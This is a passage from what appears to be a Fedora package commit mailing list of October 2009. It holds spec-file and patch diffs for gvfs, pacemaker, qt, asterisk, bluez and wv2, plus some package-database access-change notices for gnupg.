--- gvfs.spec	8 Oct 2009 14:45:02 -0000	1.160
+++ gvfs.spec	9 Oct 2009 14:59:18 -0000	1.161
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -44,6 +44,15 @@ Patch3: consider-logical-partitions.patc
 # https://bugzilla.redhat.com/show_bug.cgi?id=526892
 # Nautilus not displaying friendly icons for SSH-connected system
 Patch4: gvfs-1.4.0-mountspec-from-string.patch
+# from upstream
+Patch5: gvfs-1.4.1-trash-dont-overwrite.patch
+Patch6: gvfs-1.4.1-separate-eject-safely-remove-drive.patch
+Patch7: gvfs-1.4.1-no-poll-for-media.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=520497
+# annoying error dialogs
+Patch8: 0001-Disallow-mounting-empty-drives.patch
+Patch9: 0002-Disallow-ejecting-empty-drives.patch
+Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -140,6 +149,12 @@ and iPod Touches to applications using g
 %patch2 -p1 -b .http-icons
 %patch3 -p1 -b .logical-partitions
 %patch4 -p1 -b .favicons
+%patch5 -p1 -b .trash-overwrite
+%patch6 -p1 -b .separate-eject
+%patch7 -p1 -b .no-poll
+%patch8 -p1 -b .mount-empty
+%patch9 -p1 -b .eject-empty
+%patch10 -p1 -b .error-detaching
 
 %build
 
@@ -293,6 +308,14 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Fri Oct  9 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-5
+- Don't always overwrite on trash restore
+- Separate "Safely Remove Drive" from "Eject"
+- Don't advertise can_poll for drives not using removable media
+- Disallow mounting empty drives
+- Disallow ejecting empty drives
+- Silently drop eject error messages when detaching drive
+
 * Thu Oct  8 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-4
 - Fix Nautilus not displaying friendly icons for SSH-connected system (#526892)
 - Actually apply the logical partitions patch



From fabbione at fedoraproject.org  Fri Oct  9 15:04:26 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 15:04:26 +0000 (UTC)
Subject: rpms/pacemaker/devel pacemaker.spec,1.6,1.7
Message-ID: <20091009150426.CAAA611C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/pacemaker/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27775

Modified Files:
	pacemaker.spec 
Log Message:
Rebuild for net-snmp soname change



Index: pacemaker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/devel/pacemaker.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pacemaker.spec	21 Aug 2009 15:11:11 -0000	1.6
+++ pacemaker.spec	9 Oct 2009 15:04:26 -0000	1.7
@@ -7,7 +7,7 @@
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with:
 # hg archive -t tgz -p "Pacemaker-1-0-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 2
+%global specversion 3
 %global upstreamprefix Pacemaker-1-0-
 %global upstreamversion 462f1569a437
 
@@ -17,7 +17,7 @@
 Name:		pacemaker
 Summary:	Scalable High-Availability cluster resource manager
 Version:	1.0.5
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Daemons
@@ -216,6 +216,9 @@ rm -rf %{buildroot}
 %doc AUTHORS
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.5-3
+- rebuilt with new net-snmp
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.0.5-2.1
 - rebuilt with new openssl
 



From rdieter at fedoraproject.org  Fri Oct  9 15:04:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 15:04:45 +0000 (UTC)
Subject: rpms/qt/F-12
	qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch, 
	NONE, 1.1 qt.spec, 1.334, 1.335
Message-ID: <20091009150445.C150311C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27964

Modified Files:
	qt.spec 
Added Files:
	qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch 
Log Message:
* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-25
- qt webkit crash on drag (#528094)


qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch:
 html/HTMLElement.cpp    |    1 +
 page/DragController.cpp |    3 +--
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/html/HTMLElement.cpp qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/html/HTMLElement.cpp
index 4caf336..b21a3fe 100644
--- qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/html/HTMLElement.cpp
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/html/HTMLElement.cpp
@@ -44,6 +44,7 @@
 #include "XMLTokenizer.h"
 #include "markup.h"
 #include <wtf/StdLibExtras.h>
+#include <stdio.h>
 
 namespace WebCore {
 
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/page/DragController.cpp qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/page/DragController.cpp
index 10a11f2..c756da8 100644
--- qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/page/DragController.cpp
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/webkit/WebCore/page/DragController.cpp
@@ -157,7 +157,7 @@ void DragController::dragExited(DragData* dragData)
     Frame* mainFrame = m_page->mainFrame();
     
     if (RefPtr<FrameView> v = mainFrame->view()) {
-        ClipboardAccessPolicy policy = m_document->securityOrigin()->isLocal() ? ClipboardReadable : ClipboardTypesReadable;
+        ClipboardAccessPolicy policy = (!m_document || m_document->securityOrigin()->isLocal()) ? ClipboardReadable : ClipboardTypesReadable;
         RefPtr<Clipboard> clipboard = dragData->createClipboard(policy);
         clipboard->setSourceOperation(dragData->draggingSourceOperationMask());
         mainFrame->eventHandler()->cancelDragAndDrop(createMouseEvent(dragData), clipboard.get());
-- 
1.6.2.5



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.334
retrieving revision 1.335
diff -u -p -r1.334 -r1.335
--- qt.spec	9 Oct 2009 13:57:16 -0000	1.334
+++ qt.spec	9 Oct 2009 15:04:45 -0000	1.335
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.2
-Release: 24%{?dist}
+Release: 25%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -61,9 +61,10 @@ Patch55: qt-x11-opensource-src-4.5.2-tim
 # compile with openssl-1.0
 Patch56: qt-x11-opensource-src-4.5.2-ossl10.patch
 
-# security patches
+## upstream/security patches
 Patch100: qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch
 Patch101: qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch
+Patch102: qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch
 
 # switch to kde-qt branches, qt-copy doesn't exist anymore
 Patch200: kde-qt-patches-20090820git.patch
@@ -372,9 +373,10 @@ Qt libraries used for drawing widgets an
 %patch55 -p1 -b .timestamp
 %patch56 -p1 -b .ossl10
 
-# security fixes
+# upstream/security fixes
 %patch100 -p1 -b .CVE-2009-1725
 %patch101 -p1 -b .CVE-2009-2700
+%patch102 -p1 -b .webkit_drag_crash
 
 # kde-qt branch
 %patch200 -p1 -b .kde-qt-patches-20090820git
@@ -384,10 +386,6 @@ Qt libraries used for drawing widgets an
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
-# hack around (hopefully temporary) gcc borkage (#522576)
-#if 0%{?fedora} > 11
-#RPM_OPT_FLAGS="$RPM_OPT_FLAGS -fno-var-tracking-assignments"
-#endif
 
 %define platform linux-g++
 %if "%{_qt4_datadir}" != "%{_qt4_prefix}" && "%{_lib}" == "lib64"                                  
@@ -945,6 +943,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-25
+- qt webkit crash on drag (#528094)
+
 * Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.2-24
 - disable JavaScriptCore JIT, SE Linux crashes (#527079)
 



From jcollie at fedoraproject.org  Fri Oct  9 15:05:18 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri,  9 Oct 2009 15:05:18 +0000 (UTC)
Subject: rpms/asterisk/F-11 asterisk.spec,1.53,1.54
Message-ID: <20091009150518.0C3F011C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28184

Modified Files:
	asterisk.spec 
Log Message:
* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
- Require latex2html used in static-http documents



Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/asterisk.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- asterisk.spec	8 Oct 2009 13:45:31 -0000	1.53
+++ asterisk.spec	9 Oct 2009 15:05:17 -0000	1.54
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.1.7
-Release: 0.1%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.2%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -64,6 +64,9 @@ Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
 Requires(preun): /sbin/service
 
+# needed for icons used from %{_datadir}/asterisk/static-http/*
+Requires: latex2html
+
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
@@ -989,6 +992,9 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
+- Require latex2html used in static-http documents
+
 * Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
 - Update to 1.6.1.7-rc2
 - Merge firmware subpackage back into main package



From hadess at fedoraproject.org  Fri Oct  9 15:08:22 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri,  9 Oct 2009 15:08:22 +0000 (UTC)
Subject: rpms/bluez/devel 0001-Add-sixaxis-cable-pairing-plugin.patch, 1.6, 
	1.7 bluez.spec, 1.99, 1.100
Message-ID: <20091009150822.4F40711C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29033

Modified Files:
	0001-Add-sixaxis-cable-pairing-plugin.patch bluez.spec 
Log Message:
* Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
- Update cable pairing plugin to use libudev


0001-Add-sixaxis-cable-pairing-plugin.patch:
 Makefile.am     |    9 +
 acinclude.m4    |   16 ++
 configure.ac    |    1 
 plugins/cable.c |  385 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 408 insertions(+), 3 deletions(-)

Index: 0001-Add-sixaxis-cable-pairing-plugin.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/0001-Add-sixaxis-cable-pairing-plugin.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 10:01:03 -0000	1.6
+++ 0001-Add-sixaxis-cable-pairing-plugin.patch	9 Oct 2009 15:08:21 -0000	1.7
@@ -1,44 +1,57 @@
-From df50f89ea8967fa0ba0d21aac0ce905801d31c70 Mon Sep 17 00:00:00 2001
+From 7194839445edb3fd112b2bc79878c303e3b7c9e2 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 1 Sep 2009 17:32:48 +0100
 Subject: [PATCH] Add sixaxis cable-pairing plugin
 
-Implement the old "sixpair" using gudev (a GObject layer on top
-of udev's monitoring system), and libusb-1.0.
+Implement the old "sixpair" using libudev and libusb-1.0.
 
 When a Sixaxis device is plugged in, events are filtered, and
 the device is selected, poked around to set the default Bluetooth
 address, and added to the database of the current default adapter.
 ---
- Makefile.am     |    9 ++
+ Makefile.am     |    9 +-
  acinclude.m4    |   16 +++
  configure.ac    |    1 +
- plugins/cable.c |  362 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 4 files changed, 388 insertions(+), 0 deletions(-)
+ plugins/cable.c |  384 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 4 files changed, 408 insertions(+), 2 deletions(-)
  create mode 100644 plugins/cable.c
 
 diff --git a/Makefile.am b/Makefile.am
-index c8337d6..0bdf694 100644
+index c8337d6..e5eccdf 100644
 --- a/Makefile.am
 +++ b/Makefile.am
-@@ -162,6 +162,15 @@ builtin_modules += service
+@@ -162,6 +162,11 @@ builtin_modules += service
  builtin_sources += plugins/service.c
  endif
  
 +if CABLE
-+plugin_LTLIBRARIES += plugins/cable.la
-+
-+plugins_cable_la_LIBADD = @CABLE_LIBS@
-+plugins_cable_la_LDFLAGS = -module -avoid-version -no-undefined
-+plugins_cable_la_CFLAGS = -fvisibility=hidden @DBUS_CFLAGS@ \
-+					@GLIB_CFLAGS@ @CABLE_CFLAGS@
++builtin_modules += cable
++builtin_sources += plugins/cable.c
 +endif
 +
  builtin_modules += hciops
  builtin_sources += plugins/hciops.c
  
+@@ -192,7 +197,7 @@ src_bluetoothd_SOURCES = $(gdbus_sources) $(builtin_sources) \
+ 			src/dbus-common.c src/dbus-common.h \
+ 			src/dbus-hci.h src/dbus-hci.c
+ src_bluetoothd_LDADD = lib/libbluetooth.la @GLIB_LIBS@ @DBUS_LIBS@ \
+-							@CAPNG_LIBS@ -ldl
++							@CAPNG_LIBS@ @CABLE_LIBS@ -ldl
+ src_bluetoothd_LDFLAGS = -Wl,--export-dynamic \
+ 					-Wl,--version-script=src/bluetooth.ver
+ src_bluetoothd_DEPENDENCIES = src/bluetooth.ver lib/libbluetooth.la
+@@ -305,7 +310,7 @@ EXTRA_DIST += doc/manager-api.txt \
+ 
+ AM_YFLAGS = -d
+ 
+-AM_CFLAGS = @DBUS_CFLAGS@ @GLIB_CFLAGS@ @CAPNG_CFLAGS@ \
++AM_CFLAGS = @DBUS_CFLAGS@ @GLIB_CFLAGS@ @CAPNG_CFLAGS@ @CABLE_CFLAGS@ \
+ 		-DBLUETOOTH_PLUGIN_BUILTIN -DPLUGINDIR=\""$(plugindir)"\"
+ 
+ INCLUDES = -I$(builddir)/lib -I$(builddir)/src -I$(srcdir)/src \
 diff --git a/acinclude.m4 b/acinclude.m4
-index e7d1c32..3feddf8 100644
+index e7d1c32..10e5241 100644
 --- a/acinclude.m4
 +++ b/acinclude.m4
 @@ -142,6 +142,12 @@ AC_DEFUN([AC_PATH_USB], [
@@ -46,7 +59,7 @@ index e7d1c32..3feddf8 100644
  ])
  
 +AC_DEFUN([AC_PATH_CABLE], [
-+	PKG_CHECK_MODULES(CABLE, gudev-1.0 libusb-1.0, cable_found=yes, cable_found=no)
++	PKG_CHECK_MODULES(CABLE, libudev libusb-1.0, cable_found=yes, cable_found=no)
 +	AC_SUBST(CABLE_CFLAGS)
 +	AC_SUBST(CABLE_LIBS)
 +])
@@ -104,10 +117,10 @@ index b93cca0..5df134f 100644
  AC_PATH_CAPNG
 diff --git a/plugins/cable.c b/plugins/cable.c
 new file mode 100644
-index 0000000..6e81ba0
+index 0000000..0b7cc7a
 --- /dev/null
 +++ b/plugins/cable.c
-@@ -0,0 +1,362 @@
+@@ -0,0 +1,384 @@
 +/*
 + *
 + *  BlueZ - Bluetooth protocol stack for Linux
@@ -135,8 +148,9 @@ index 0000000..6e81ba0
 +#include <config.h>
 +#endif
 +
-+#define G_UDEV_API_IS_SUBJECT_TO_CHANGE
-+#include <gudev/gudev.h>
++#include <glib.h>
++#define LIBUDEV_I_KNOW_THE_API_IS_SUBJECT_TO_CHANGE 1
++#include <libudev.h>
 +#include <dbus/dbus.h>
 +#include <bluetooth/bluetooth.h>
 +#include <bluetooth/sdp.h>
@@ -319,7 +333,7 @@ index 0000000..6e81ba0
 +		libusb_close(devh);
 +}
 +
-+static void handle_device_plug(GUdevDevice *device)
++static void handle_device_plug(struct udev_device *udevice)
 +{
 +	struct btd_adapter *adapter;
 +	int adapter_id;
@@ -330,11 +344,11 @@ index 0000000..6e81ba0
 +	struct libusb_device_descriptor desc;
 +	guint8 j;
 +
-+	if (g_udev_device_has_property(device, "ID_SERIAL") == FALSE ||
-+	    g_strcmp0(g_udev_device_get_property(device, "ID_SERIAL"), "Sony_PLAYSTATION_R_3_Controller") != 0)
++	if (g_strcmp0(udev_device_get_property_value(udevice, "ID_SERIAL"),
++		      "Sony_PLAYSTATION_R_3_Controller") != 0)
 +		return;
 +	/* Don't look at events with an associated driver */
-+	if (g_udev_device_has_property(device, "ID_USB_DRIVER") != FALSE)
++	if (udev_device_get_property_value(udevice, "ID_USB_DRIVER") != NULL)
 +		return;
 +
 +	debug("Found Sixaxis device");
@@ -365,7 +379,7 @@ index 0000000..6e81ba0
 +		path = g_strdup_printf("%s/%03d/%03d", "/dev/bus/usb",
 +				       libusb_get_bus_number(list[i]),
 +				       libusb_get_device_address(list[i]));
-+		if (g_strcmp0(path, g_udev_device_get_device_file(device)) == 0) {
++		if (g_strcmp0(path, udev_device_get_devnode(udevice)) == 0) {
 +			g_free(path);
 +			usbdev = libusb_ref_device(list[i]);
 +			break;
@@ -415,45 +429,58 @@ index 0000000..6e81ba0
 +	libusb_exit(NULL);
 +}
 +
-+static gboolean device_event_idle(GUdevDevice *device)
++static gboolean device_event_idle(struct udev_device *udevice)
 +{
-+	handle_device_plug(device);
-+	g_object_unref (device);
++	handle_device_plug(udevice);
++	udev_device_unref(udevice);
 +	return FALSE;
 +}
 +
-+static void uevent_cb(GUdevClient  *client,
-+		      const char    *action,
-+		      GUdevDevice  *device,
-+		      gpointer       user_data)
++static struct udev *ctx = NULL;
++static struct udev_monitor *monitor = NULL;
++static guint watch_id = 0;
++
++static gboolean
++monitor_event(GIOChannel *source,
++	      GIOCondition condition,
++	      gpointer data)
 +{
-+	if (g_strcmp0(action, "add") == 0) {
-+		/* FIXME:
-+		 * This happens because we need to wait for the
-+		 * device node to be created by udev,
-+		 * we should really just call: handle_device_plug(device); */
-+		g_object_ref(device);
-+		g_timeout_add_seconds(1, (GSourceFunc) device_event_idle, device);
-+	}
++	struct udev_device *udevice;
++
++	udevice = udev_monitor_receive_device(monitor);
++	if (udevice == NULL)
++		goto out;
++	if (g_strcmp0(udev_device_get_action(udevice), "add") != 0)
++		goto out;
++
++	g_timeout_add_seconds(1, (GSourceFunc) device_event_idle, udevice);
++
++out:
++	return TRUE;
 +}
 +
-+GUdevClient *client = NULL;
 +
 +static int cable_init(void)
 +{
-+	const char * subsystems[] = { "usb", NULL };
++	GIOChannel *channel;
 +
 +	debug("Setup cable plugin");
 +
-+	g_type_init();
-+
-+	client = g_udev_client_new(subsystems);
++	ctx = udev_new();
++	monitor = udev_monitor_new_from_netlink(ctx, "udev");
++	if (monitor == NULL) {
++		error ("Could not get udev monitor");
++		return -1;
++	}
 +
-+	/* Listen for newly connected devices */
-+	g_signal_connect(G_OBJECT(client),
-+			 "uevent",
-+			 G_CALLBACK(uevent_cb),
-+			 NULL);
++	/* Listen for newly connected usb device */
++	udev_monitor_filter_add_match_subsystem_devtype(monitor,
++							"usb", NULL);
++	udev_monitor_enable_receiving(monitor);
++
++	channel = g_io_channel_unix_new(udev_monitor_get_fd(monitor));
++	watch_id = g_io_add_watch(channel, G_IO_IN, monitor_event, NULL);
++	g_io_channel_unref(channel);
 +
 +	return 0;
 +}
@@ -462,9 +489,17 @@ index 0000000..6e81ba0
 +{
 +	debug("Cleanup cable plugin");
 +
-+	if (client != NULL) {
-+		g_object_unref(client);
-+		client = NULL;
++	if (watch_id != 0) {
++		g_source_remove(watch_id);
++		watch_id = 0;
++	}
++	if (monitor != NULL) {
++		udev_monitor_unref(monitor);
++		monitor = NULL;
++	}
++	if (ctx != NULL) {
++		udev_unref(ctx);
++		ctx = NULL;
 +	}
 +}
 +


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/bluez.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- bluez.spec	5 Oct 2009 10:01:03 -0000	1.99
+++ bluez.spec	9 Oct 2009 15:08:22 -0000	1.100
@@ -1,7 +1,7 @@
 Summary: Bluetooth utilities
 Name: bluez
 Version: 4.55
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: Applications/System
 Source: http://www.kernel.org/pub/linux/bluetooth/%{name}-%{version}.tar.gz
@@ -34,7 +34,7 @@ BuildRequires: gstreamer-plugins-base-de
 BuildRequires: libsndfile-devel
 BuildRequires: libcap-ng-devel
 # For cable pairing
-BuildRequires: libgudev-devel 
+BuildRequires: libudev-devel 
 %ifnarch s390 s390x
 BuildRequires: libusb1-devel
 %endif
@@ -272,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
+- Update cable pairing plugin to use libudev
+
 * Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
 - Update to 4.55
 - Add libcap-ng support to drop capabilities (#517660)



From pkgdb at fedoraproject.org  Fri Oct  9 15:17:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:17:14 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009151714.657E410F880@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on gnupg (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 15:17:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:17:19 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009151719.6F6E710F84D@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on gnupg (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 15:17:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:17:20 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009151720.7719F10F8A3@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on gnupg (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From rdieter at fedoraproject.org  Fri Oct  9 15:24:43 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 15:24:43 +0000 (UTC)
Subject: rpms/wv2/devel .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 wv2.spec, 1.19,
	1.20 wv2-0.4.0-defines.patch, 1.1, NONE
Message-ID: <20091009152443.3307F11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wv2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv444

Modified Files:
	.cvsignore sources wv2.spec 
Removed Files:
	wv2-0.4.0-defines.patch 
Log Message:
* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.4.1-1
- wv2-0.4.1 (ABI bump)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	11 Sep 2009 15:56:41 -0000	1.4
+++ .cvsignore	9 Oct 2009 15:24:40 -0000	1.5
@@ -1 +1 @@
-wv2-0.4.0.tar.bz2
+wv2-0.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Sep 2009 15:56:41 -0000	1.4
+++ sources	9 Oct 2009 15:24:41 -0000	1.5
@@ -1 +1 @@
-e0acd7a551c898aab3fb6afafc606bb4  wv2-0.4.0.tar.bz2
+7565fcc392c8869c44a301992b3ea561  wv2-0.4.1.tar.bz2


Index: wv2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/wv2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- wv2.spec	8 Oct 2009 14:49:03 -0000	1.19
+++ wv2.spec	9 Oct 2009 15:24:41 -0000	1.20
@@ -1,23 +1,19 @@
+
 Name:           wv2
-Version:        0.4.0
+Version:        0.4.1
 Release:        1%{?dist}
-Summary:        A library which allows access to Microsoft? Word files
+Summary:        A library which allows access to Microsoft Word files
 
 Group:          System Environment/Libraries
 License:        LGPLv2
 URL:            http://wvware.sourceforge.net
-Source0:        http://download.sourceforge.net/wvware/wv2-%{version}.tar.bz2
+Source0:        http://downloads.sourceforge.net/sourceforge/wvware/wv2-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # see bug #192291
 Patch2: wv2-0.4.0-extra_libs.patch
 # see bug #343451
 Patch3: wv2-0.4.0-multilib.patch
-## upstreamable patches
-# http://bugzilla.abisource.com/show_bug.cgi?id=12422
-Patch50: wv2-0.4.0-defines.patch
-# http://bugzilla.abisource.com/show_bug.cgi?id=12421
-Patch51: wv2-0.4.0-LIB_SUFFIX.patch
 
 BuildRequires: cmake
 BuildRequires: libgsf-devel
@@ -27,7 +23,7 @@ BuildRequires: glib2-devel
 BuildRequires: zlib-devel
 
 %description
-wv is a library which allows access to Microsoft? Word files. It can load and
+wv is a library which allows access to Microsoft Word files. It can load and
 parse Word 2000, 97, 95 and 6 file formats. (These are the file formats known
 internally as Word 9, 8, 7 and 6.) There is some support for reading earlier
 formats as well: Word 2 docs are converted to plaintext. 
@@ -48,36 +44,38 @@ The wv2-devel package includes the heade
 
 %patch2 -p1 -b .extra_libs
 %patch3 -p1 -b .multilib
-%patch50 -p1 -b .defines
-%patch51 -p1 -b .LIB_SUFFIX
 
 
 %build
+mkdir -p %{_target_platform}
+pushd %{_target_platform}
+%{cmake} ..
+popd
 
-%cmake .
-
-make %{?_smp_mflags}
+make %{?_smp_mflags} -C %{_target_platform}
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+rm -rf %{buildroot}
+make install DESTDIR=%{buildroot} -C %{_target_platform}
 
 # unpackaged files
-rm -f $RPM_BUILD_ROOT%{_libdir}/lib*.la
+rm -f %{buildroot}%{_libdir}/lib*.la
 
 
 %check
+pushd %{_target_platform}
 # checks currently fail on ppc64, appears to be a toolchain prob
 %ifarch ppc64
-make -k test ||: 
+make -k test -C ||:
 %else
 make -k test
 %endif
+popd
 
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 
 %post -p /sbin/ldconfig
@@ -88,7 +86,7 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog COPYING.LIB README RELEASE THANKS TODO
-%{_libdir}/libwv2.so.3*
+%{_libdir}/libwv2.so.4*
 %dir %{_libdir}/wvWare/
 
 %files devel
@@ -102,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.4.1-1
+- wv2-0.4.1 (ABI bump)
+
 * Fri Sep 11 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.4.0-1
 - wv2-0.4.0
 


--- wv2-0.4.0-defines.patch DELETED ---



From rdieter at fedoraproject.org  Fri Oct  9 15:25:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 15:25:35 +0000 (UTC)
Subject: rpms/wv2/devel wv2-0.4.0-LIB_SUFFIX.patch,1.1,NONE
Message-ID: <20091009152535.577EE11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wv2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv692

Removed Files:
	wv2-0.4.0-LIB_SUFFIX.patch 
